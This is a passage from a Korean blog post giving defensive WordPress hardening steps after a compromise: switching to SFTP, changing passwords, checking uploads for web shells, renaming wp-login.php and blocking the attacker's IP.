6. 카페24는 SFTP를 지원하므로 FTP 사용하지 말고 보안이 강화된 SFTP를 사용하세요

7. 가능하면 DB 비번도 바꾸세요

8. 업로드된 파일 중 웹쉘이 있을 수 있으므로 한번 쭉 둘러보세요 (확장자가 php, pl, cgi 등인 파일은 위험)

9. wp-login.php 파일명을 님만 알 수 있는 것으로 변경하여 사용 (예: wp-login-ZBYSFG8YUFK78EF23F6.php)

10. 관리자 및 모든 사용자의 비번을 아주 어려운 것으로 교체 (대략 15자 이상)

11. 로그기록 등을 통해 해킹툴 돌린 사람의 IP를 찾아내어 차단해버리거나 신고

'' 카테고리의 다른 글

Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
CSRF 참고 hacktricks  (0) 2022.04.23
graphql insql  (0) 2022.04.23
xinha 에디터 추가  (0) 2022.04.20
블로그 이미지

wtdsoul

,